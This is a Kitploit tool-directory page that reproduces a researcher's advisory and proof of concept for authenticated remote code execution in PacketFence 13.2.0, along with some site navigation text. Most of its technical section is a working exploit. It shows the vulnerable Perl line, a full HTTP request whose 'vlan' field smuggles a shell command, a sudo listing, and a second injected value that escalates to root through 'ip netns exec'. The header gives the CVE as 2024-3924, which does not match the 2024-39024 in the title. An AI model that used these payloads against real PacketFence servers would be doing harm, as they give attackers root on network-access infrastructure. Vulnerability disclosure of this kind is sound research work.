Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
packetfence-CVE-2024-39024 — In Packetfence 13.2.0, the WebGui interface setting allows authenticated remote code execution | Kitploit
Tools/GitHubGitHub/ly1g3/packetfence-cve-2024-39024
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubly1g3/packetfence-cve-2024-39024

packetfence-CVE-2024-39024

In Packetfence 13.2.0, the WebGui interface setting allows authenticated remote code execution

View Repository
11 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

About

Security researcher: ly1g3, ly1g3[at]tuta.io

GPG fingerprint: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586

Overview: Remote Code Execution - Low level authenticated user to admin RCE

CVE: CVE-2024-3924

Timeline:

  • Discovered - ly1g3
  • Reported - ly1g3
  • Fixed - packetfence

Reference: https://www.packetfence.com/news/2024/packetfence-14-0-released/

Packetfence Authenticated RCE

In Packetfence 13.2.0, the WebGui interface setting allows authenticated remote code execution.

Technical

Authenticated Admin to root shell

Admin -> Configuration -> Network Configuration -> Interfaces

Interface.pm: function create line 64 Variable $vlan_id is from user input and only checked client-side

root@kitploit:~
    my $cmd = "sudo ip link add link $physical_interface name $physical_interface.$vlan_id type vlan id $vlan_id";
    eval { $status = pf_run($cmd) };

POC

burp:

root@kitploit:~
POST /api/v1/config/interfaces HTTP/1.1
Host: 192.168.100.174:1443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en
Accept-Encoding: gzip, deflate
Authorization: Bearer AAAAA
Content-Type: application/json
X-Packetfence-Tenant-Id: 1
Content-Length: 494
Origin: https://192.168.100.174:1443
Referer: https://192.168.100.174:1443/admin
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Dnt: 1
Sec-Gpc: 1
Te: trailers
Connection: close

{"id":"eth0","prefixRouteName":"","type":"none","additional_listening_daemons":[],"address":"10.0.0.1/24","coa":null,"dhcpd_enabled":null,"dns":null,"high_availability":0,"hwaddr":"AA:AA:AA:AA:AA:64","ifindex":"3","ipaddress":"10.0.0.1","ipv6_address":null,"ipv6_prefix":null,"master":"eth0","name":"eth0","nat_enabled":null,"netmask":"255.255.255.0","network":"10.0.0.0","networks":[],"reg_network":null,"split_network":null,"tenant_id":1,"vip":null,"vlan":"$(echo 'win'>> /tmp/perl_log.txt)"}

Privilege Escalation:

gtfobins

root@kitploit:~
$ sudo -l
Matching Defaults entries for pf on packetfence:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !requiretty

Runas and Command-specific defaults for pf:
    Defaults!/sbin/ip netns exec * !syslog

User pf may run the following commands on packetfence:
    (root) NOPASSWD: /bin/systemctl, /sbin/iptables, /usr/sbin/ip6tables, /usr/sbin/ipset, /sbin/ipset, /sbin/ip,
        /sbin/vconfig, /sbin/route, /usr/bin/systemctl, /usr/bin/tee, /usr/local/pf/sbin/pfdhcplistener, /bin/kill,
        /usr/sbin/freeradius, /usr/sbin/chroot, /usr/local/pf/bin/pfcmd, /usr/sbin/conntrack, /usr/bin/timedatectl,
        /usr/bin/hostnamectl

root@kitploit:~
"vlan":";sudo /usr/sbin/ip netns exec foo id >> /tmp/perl_log.txt ;",
Download Tool